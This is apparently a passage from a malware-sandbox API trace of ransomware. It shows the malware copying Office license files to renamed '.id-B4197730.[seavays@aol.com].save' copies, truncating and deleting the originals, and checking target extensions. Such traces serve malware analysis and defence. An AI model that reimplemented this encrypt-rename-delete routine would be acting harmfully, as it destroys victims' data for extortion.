(hObject=0x530) returned 1 [0190.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 0x220 [0190.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0190.445] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.445] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0190.711] GetLastError () returned 0x0 [0190.711] ReadFile (in: hFile=0x530, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0190.713] WriteFile (in: hFile=0x560, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0190.715] ReadFile (in: hFile=0x530, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0190.715] WriteFile (in: hFile=0x560, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x110, lpOverlapped=0x0) returned 1 [0190.715] SetEndOfFile (hFile=0x560) returned 1 [0190.715] CloseHandle (hObject=0x560) returned 1 [0190.715] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.715] SetEndOfFile (hFile=0x530) returned 1 [0190.719] CloseHandle (hObject=0x530) returned 1 [0190.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 1 [0190.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0190.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0190.721] lstrlenW (lpString=".doc") returned 4 [0190.722] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.722] lstrlenW (lpString=".docx") returned 5 [0190.722] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.722] lstrlenW (lpString=".pdf") returned 4 [0190.722] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.722] lstrlenW (lpString=".xls") returned 4 [0190.722] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.722] lstrlenW (lpString=".xlsx") returned 5 [0190.722] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.722] lstrlenW (lpString=".ppt") returned 4 [0190.722] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0190.722] lstrlenW (lpString=".zip") returned 4 [0190.722] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.722] lstrlenW (lpString=".rar") returned 4 [0190.722] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.722] lstrlenW (lpString=".bz2") returned 4 [0190.722] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.722] lstrlenW (lpString=".7z") returned 3 [0190.722] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0190.722] lstrlenW (lpString=".dbf") returned 4 [0190.722] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0190.723] lstrlenW (lpString=".1cd") returned 4 [0190.723] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0190.723] lstrlenW (lpString=".jpg") returned 4 [0190.723] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.724] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11215) returned 1 [0190.724] CloseHandle (hObject=0x530) returned 1 [0190.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0190.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0190.725] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.725] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0190.726] GetLastError () returned 0x0 [0190.726] ReadFile (in: hFile=0x530, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0190.729] WriteFile (in: hFile=0x560, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0190.731] ReadFile (in: hFile=0x530, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0190.731] WriteFile (in: hFile=0x560, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x126, lpOverlapped=0x0) returned 1 [0190.731] SetEndOfFile (hFile=0x560) returned 1 [0190.731] CloseHandle (hObject=0x560) returned 1 [0190.731] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.731] SetEndOfFile (hFile=0x530) returned 1 [0190.735] CloseHandle (hObject=0x530) returned 1 [0190.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0190.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0190.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0190.738] lstrlenW (lpString=".doc") returned 4 [0190.738] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.738] lstrlenW (lpString=".docx") returned 5 [0190.738] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.738] lstrlenW (lpString=".pdf") returned 4 [0190.738] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.738] lstrlenW (lpString=".xls") returned 4 [0190.738] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.738] lstrlenW (lpString=".xlsx") returned 5 [0190.739] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.739] lstrlenW (lpString=".ppt") returned 4 [0190.739] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0190.739] lstrlenW (lpString=".zip") returned 4 [0190.739] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.739] lstrlenW (lpString=".rar") returned 4 [0190.739] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.739] lstrlenW (lpString=".bz2") returned 4 [0190.739] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.739] lstrlenW (lpString=".7z") returned 3 [0190.739] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0190.739] lstrlenW (lpString=".dbf") returned 4 [0190.739] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0190.739] lstrlenW (lpString=".1cd") returned 4 [0190.739] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0190.739] lstrlenW (lpString=".jpg") returned 4 [0190.740] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.740] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=21737) returned 1 [0190.740] CloseHandle (hObject=0x530) returned 1 [0190.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0190.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0190.742] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.743] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0190.744] GetLastError () returned 0x0 [0190.744] ReadFile (in: hFile=0x530, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x54e9, lpOverlapped=0x0) returned 1 [0190.746] WriteFile (in: hFile=0x560, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x54f0, lpOverlapped=0x0) returned 1 [0190.749] ReadFile (in: hFile=0x530, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0190.749] WriteFile (in: hFile=0x560, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x128, lpOverlapped=0x0) returned 1 [0190.749] SetEndOfFile (hFile=0x560) returned 1 [0190.749] CloseHandle (hObject=0x560) returned 1 [0190.750] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.750] SetEndOfFile (hFile=0x530) returned 1 [0191.053] CloseHandle (hObject=0x530) returned 1 [0191.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0191.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0191.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0191.433] lstrlenW (lpString=".doc") returned 4 [0191.433] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.433] lstrlenW (lpString=".docx") returned 5 [0191.433] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.433] lstrlenW (lpString=".pdf") returned 4 [0191.434] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.434] lstrlenW (lpString=".xls") returned 4 [0191.434] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.434] lstrlenW (lpString=".xlsx") returned 5 [0191.434] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.434] lstrlenW (lpString=".ppt") returned 4 [0191.434] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0191.434] lstrlenW (lpString=".zip") returned 4 [0191.434] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.434] lstrlenW (lpString=".rar") returned 4 [0191.434] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.434] lstrlenW (lpString=".bz2") returned 4 [0191.434] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.434] lstrlenW (lpString=".7z") returned 3 [0191.434] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0191.434] lstrlenW (lpString=".dbf") returned 4 [0191.434] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0191.434] lstrlenW (lpString=".1cd") returned 4 [0191.434] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0191.434] lstrlenW (lpString=".jpg") returned 4 [0191.435] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.435] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11616) returned 1 [0191.435] CloseHandle (hObject=0x54c) returned 1 [0191.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 0x220 [0191.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0191.440] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.440] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.442] GetLastError () returned 0x0 [0191.442] ReadFile (in: hFile=0x54c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d60, lpOverlapped=0x0) returned 1 [0191.444] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0191.445] ReadFile (in: hFile=0x54c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0191.445] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x114, lpOverlapped=0x0) returned 1 [0191.445] SetEndOfFile (hFile=0x520) returned 1 [0191.445] CloseHandle (hObject=0x520) returned 1 [0191.445] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.445] SetEndOfFile (hFile=0x54c) returned 1 [0191.460] CloseHandle (hObject=0x54c) returned 1 [0191.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 1 [0191.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0191.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0191.463] lstrlenW (lpString=".doc") returned 4 [0191.463] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.463] lstrlenW (lpString=".docx") returned 5 [0191.463] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.463] lstrlenW (lpString=".pdf") returned 4 [0191.463] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.463] lstrlenW (lpString=".xls") returned 4 [0191.463] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.463] lstrlenW (lpString=".xlsx") returned 5 [0191.463] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.463] lstrlenW (lpString=".ppt") returned 4 [0191.463] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0191.463] lstrlenW (lpString=".zip") returned 4 [0191.463] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.463] lstrlenW (lpString=".rar") returned 4 [0191.463] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.463] lstrlenW (lpString=".bz2") returned 4 [0191.463] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.463] lstrlenW (lpString=".7z") returned 3 [0191.463] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0191.463] lstrlenW (lpString=".dbf") returned 4 [0191.463] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0191.464] lstrlenW (lpString=".1cd") returned 4 [0191.464] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0191.464] lstrlenW (lpString=".jpg") returned 4 [0191.464] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.464] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11167) returned 1 [0191.465] CloseHandle (hObject=0x54c) returned 1 [0191.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 0x220 [0191.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0191.466] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.466] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.468] GetLastError () returned 